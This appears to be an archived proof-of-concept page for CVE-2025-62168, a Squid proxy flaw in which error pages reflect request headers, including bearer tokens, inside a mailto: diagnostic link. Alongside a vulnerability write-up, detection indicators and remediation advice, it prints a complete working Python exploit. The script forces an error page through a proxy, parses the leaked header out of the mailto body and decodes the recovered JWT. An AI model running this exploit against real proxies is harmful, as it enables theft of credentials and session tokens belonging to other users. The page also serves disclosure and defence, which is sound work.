PoC Archive PoC Archive
Critical CVE-2025-62168 unpatched

Squid Proxy Sensitive Header Leak via Error Page `mailto:` Diagnostic Block (CVE-2025-62168)

by krakhen.dev (nehkark) · 2026-07-06

CVSS 10.0/10
Severity
Critical
CVE
CVE-2025-62168
Category
network
Affected product
Squid Proxy
Affected versions
Versions < 7.2 potentially affected; behavior confirmed on Squid 5.x, 6.x, 7.1
Disclosed
2026-07-06
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07
Author / Researcherkrakhen.dev (nehkark)
CVE / AdvisoryCVE-2025-62168
Categorynetwork
SeverityCritical
CVSS Score10.0 (NVD; the source repository proposes a lower vector scoring 7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
StatusPoC
Tagssquid, proxy, information-disclosure, header-reflection, jwt, token-leak, error-page, cwe-209, cwe-550
RelatedN/A

Affected Target

FieldValue
Software / SystemSquid Proxy
Versions AffectedVersions < 7.2 potentially affected; behavior confirmed on Squid 5.x, 6.x, 7.1
Language / PlatformSquid (C++ proxy server); PoC written in Python (asyncio/aiohttp)
Authentication RequiredNo (any client able to route requests through the proxy)
Network Access RequiredYes (client must be able to send HTTP requests through the vulnerable Squid instance)

Summary

When Squid is configured with email_err_data enabled (including in default configurations), it embeds diagnostic details about a failed request — including the original client’s HTTP request headers — into the auto-generated error page it returns. Specifically, the error template builds a mailto: link (intended for contacting the proxy administrator) whose body contains a URL-encoded dump of the original HTTP Request: block, line by line. Squid does not sufficiently sanitize or strip custom/sensitive headers from this block before embedding them, so any attacker-supplied header — including Authorization bearer tokens, JWTs, API keys, or other credential-bearing headers forwarded by legitimate clients through the proxy — can be reflected back verbatim inside the error page’s mailto: link and read directly from the HTTP response body.


Vulnerability Details

Root Cause

  • Squid includes request metadata (including arbitrary request headers) in its ERR_* error templates when generating diagnostic error pages.
  • The header sanitization applied to this diagnostic block is incomplete — it does not strip custom or sensitive headers.
  • The offending headers end up embedded, URL-encoded, inside the mailto: hyperlink’s body parameter in the returned error HTML.
  • Any client that can trigger an error response from the proxy (e.g., a request to a non-resolving/non-existent host) can read back its own (or, in shared/forwarding proxy scenarios, another party’s forwarded) headers directly from the response.
  • Classified as CWE-209 (Generation of Error Message Containing Sensitive Information) and CWE-550 (Server-Generated Error Message Containing Sensitive Information).

Attack Vector

  1. Attacker sends an HTTP request through the target Squid proxy, including a sensitive header (e.g., a JWT Authorization/custom bearer-token header) and targeting a URL designed to fail (e.g., a non-resolving hostname), forcing Squid to generate an ERR_READ_ERROR-style error page.
  2. Squid’s error-page template embeds the full original HTTP Request: block — including the sensitive header verbatim — inside a mailto:webmaster?...&body=... link in the returned error HTML.
  3. The PoC script (cve-2025-62168.py) parses the returned HTML for the <a href="mailto:..."> tag, URL-decodes the body (translating %0D%0A, %3A, %20 sequences back to newlines/colons/spaces), and extracts the injected header’s value line by line.
  4. The extracted value (in the PoC, a demo JWT) is then decoded (header/payload/signature) to demonstrate that a real bearer token would be fully recoverable by an attacker with only proxy access — no authentication to the proxy itself is required.

Impact

An attacker able to route even a single request through an affected Squid instance can recover sensitive headers — including bearer tokens, JWTs, API keys, or other credential material — that were present in requests passing through the proxy, simply by forcing an error response and reading Squid’s own diagnostic output. In environments where Squid operates as a reverse proxy, forward proxy, or load balancer in front of authenticated internal services, this can lead to credential/session theft, impersonation of legitimate users, and lateral movement into backend systems.


Environment / Lab Setup

Target:   Squid Proxy (5.x, 6.x, or 7.1) with `email_err_data` enabled (default in many configurations)
Attacker: Python 3 host with network access to the proxy, using cve-2025-62168.py (requires aiohttp, beautifulsoup4 — see requirements.txt)

Proof of Concept

PoC Script

See cve-2025-62168.py in this folder (supporting files: payload.json, token.txt, example.txt, requirements.txt).

1
2
3
4
5
pip install -r requirements.txt

python3 cve-2025-62168.py --proxy http://127.0.0.1:3128

python3 cve-2025-62168.py --proxy http://127.0.0.1:3128 --verbose

The script:

  1. Connects to the specified Squid proxy.
  2. Sends a request (to a deliberately non-resolving host, http://nonexistent.krakhen-test.local/) carrying a controlled X-Test-Leak header containing a demo JWT.
  3. Forces Squid to generate an error page (ERR_READ_ERROR).
  4. Parses the returned HTML for the mailto: diagnostic block.
  5. Extracts the leaked X-Test-Leak header value from the decoded block.
  6. Decodes the recovered JWT (header, payload, signature) to prove full recovery of the injected token — see example.txt in this folder for a full sample run/output, and token.txt for the manual OpenSSL commands used to construct the demo JWT from payload.json.

Detection & Indicators of Compromise

Signs of compromise:

  • Squid access/error logs showing repeated requests to non-resolving or intentionally-erroring hostnames from a single client, consistent with an attacker forcing error-page generation
  • Presence of email_err_data on in squid.conf on internet- or multi-tenant-facing proxies
  • Outbound/response traffic containing mailto: links whose bodies include recognizable token/credential formats (e.g., eyJ... JWT prefixes)

Remediation

ActionDetail
Primary fixUpgrade Squid to 7.2 or later, where this header-reflection issue is addressed
Interim mitigationSet email_err_data off in squid.conf (explicitly called out by the researcher as the key mitigation); disable/strip unnecessary custom headers at the proxy edge; prevent clients from sending arbitrary Authorization-like headers through the proxy; audit ERR_* error templates for leaked metadata

References


Notes

Mirrored from https://github.com/nehkark/CVE-2025-62168 on 2026-07-06.

cve-2025-62168.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# krakhen.dev
# version 1.2.8
# CVE-2025-62168

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import aiohttp
import asyncio
import argparse
import json
import sys
from bs4 import BeautifulSoup

# ============================
# COLORS
# ============================
RED    = "\033[31m"
GREEN  = "\033[32m"
YELLOW = "\033[33m"
CYAN   = "\033[36m"
RESET  = "\033[0m"

def green(x): return GREEN + x + RESET
def red(x): return RED + x + RESET
def cyan(x): return CYAN + x + RESET
def yellow(x): return YELLOW + x + RESET


# ============================
# TEST TOKEN (demo only)
# ============================
JWT_TOKEN = (
    "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9."
    "ewogICJzdWIiOiAiMTIzNDU2Nzg5MCIsCiAgIm5hbWUiOiAia3Jha2hlbi5kZXYiLAog"
    "ICJhZG1pbiI6IHRydWUsCiAgImlhdCI6IDE1MTYyMzkwMjIKfQo."
    "LspWRdaIXcXllUuABCsYXRqBoKseG5vlb_YIW259aiU"
)

INJECTED_HEADER = {"X-Test-Leak": JWT_TOKEN}
UA = "krakhen.dev-cve-2025-62168-poc"


# ============================
# HTTP REQUEST → triggers Squid error page
# ============================
async def fetch_error_page(proxy, verbose):

    target_url = "http://nonexistent.krakhen-test.local/"

    if verbose:
        print(cyan("\n[DEBUG] Preparing request..."))
        print(cyan(f"[DEBUG] Proxy: {proxy}"))
        print(cyan(f"[DEBUG] Target URL: {target_url}"))
        print(cyan(f"[DEBUG] Injected header: X-Test-Leak: {JWT_TOKEN}"))
        print(cyan(f"[DEBUG] User-Agent: {UA}"))
        print()

    async with aiohttp.ClientSession(
        proxy=proxy,
        headers={
            "User-Agent": UA,
            **INJECTED_HEADER
        }
    ) as session:

        try:
            async with session.get(target_url, ssl=False) as resp:
                html = await resp.text()

                if verbose:
                    print(cyan("[DEBUG] Response headers:"))
                    for k, v in resp.headers.items():
                        print(cyan(f"    {k}: {v}"))
                    print()

                return html

        except Exception as e:
            print(red(f"[ERROR] Proxy request failed: {e}"))
            return ""


# ============================
# Parse mailto block from Squid error page
# ============================
def parse_mailto(html):
    soup = BeautifulSoup(html, "html.parser")
    tag = soup.find("a", href=lambda x: x and x.startswith("mailto:"))
    if not tag:
        return ""
    return tag["href"]


# ============================
# Extract leaked token from mailto
# ============================
def extract_token(mailto):

    # Decode the most relevant parts of the mailto body
    decoded = (
        mailto
        .replace("%0D%0A", "\n")
        .replace("%3A", ": ")
        .replace("%20", " ")
    )

    for line in decoded.split("\n"):
        if "X-Test-Leak" in line:
            return line.split("X-Test-Leak: ")[1].strip()

    return None


# ============================
# JWT Decoder (no signature validation)
# ============================
def decode_jwt(token):
    head, payload, sig = token.split(".")

    import base64

    def fix_padding(x: str) -> str:
        return x + "=" * ((4 - len(x) % 4) % 4)

    h_json = json.loads(base64.urlsafe_b64decode(fix_padding(head)))
    p_json = json.loads(base64.urlsafe_b64decode(fix_padding(payload)))

    return h_json, p_json, sig


# ============================
# Main logic (visual + verbose)
# ============================
async def run(proxy, verbose):

    print(green("------------------------------------------------------------"))
    print(green(" STEP 1 — Connecting to proxy..."))
    print(green("------------------------------------------------------------"))
    print(f" Proxy: {proxy}")

    print(green("\n------------------------------------------------------------"))
    print(green(" STEP 2 — Sending request with injected token..."))
    print(green("------------------------------------------------------------"))
    print(yellow(f" Injected Header: X-Test-Leak: {yellow(JWT_TOKEN[:40] + '...')}"))

    html = await fetch_error_page(proxy, verbose)

    print(green("\n------------------------------------------------------------"))
    print(green(" STEP 3 — Server responded, extracting error page..."))
    print(green("------------------------------------------------------------"))

    print(green("\n------------------------------------------------------------"))
    print(green(" STEP 4 — Parsing mailto block from Squid error page..."))
    print(green("------------------------------------------------------------"))

    # parser
    mailto_raw = parse_mailto(html)  # return string
    # token color inside mailto
    if JWT_TOKEN in mailto_raw:
        mailto_highlight = mailto_raw.replace(JWT_TOKEN, yellow(JWT_TOKEN))
    else:
        mailto_highlight = mailto_raw

    print(mailto_highlight)

    # extract real token from mailto_raw
    leaked_token = extract_token(mailto_raw)


    print(green("\n------------------------------------------------------------"))
    print(green(" STEP 5 — TOKEN LEAK CONFIRMED"))
    print(green("------------------------------------------------------------"))
    print(red(f" {leaked_token}\n"))

    print(green("------------------------------------------------------------"))
    print(green(" STEP 6 — Decoding JWT token..."))
    print(green("------------------------------------------------------------"))

    h, p, s = decode_jwt(leaked_token)

    print(cyan("Header:"))
    print(json.dumps(h, indent=4))
    print()

    print(cyan("Payload:"))
    print(json.dumps(p, indent=4))
    print()

    print(cyan("Signature:"))
    print(s)
    print()

    if verbose:
        print(cyan("\n---------------- RAW HTML (DEBUG) ----------------"))
        print(html)
        print(cyan("--------------------------------------------------"))

    print(green("\n------------------------------------------------------------"))
    print(green(" DONE — PoC completed successfully."))
    print(green("------------------------------------------------------------"))


# ============================
# CLI
# ============================
if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="PoC for CVE-2025-62168 — Squid Proxy token leak via error page header reflection.",
        epilog="Example:\n  python3 cve-2025-62168.py --proxy http://127.0.0.1:3128 --verbose",
        formatter_class=argparse.RawTextHelpFormatter
    )

    parser.add_argument(
        "--proxy",
        required=False,
        help="Proxy URL (e.g. http://127.0.0.1:3128)"
    )
    parser.add_argument(
        "--verbose",
        action="store_true",
        help="Enable technical debug output"
    )

    args = parser.parse_args()

    # If no arguments were provided → show help and exit gracefully
    if not args.proxy:
        parser.print_help()
        print("\n[!] Missing required argument: --proxy\n")
        sys.exit(1)

    asyncio.run(run(args.proxy, args.verbose))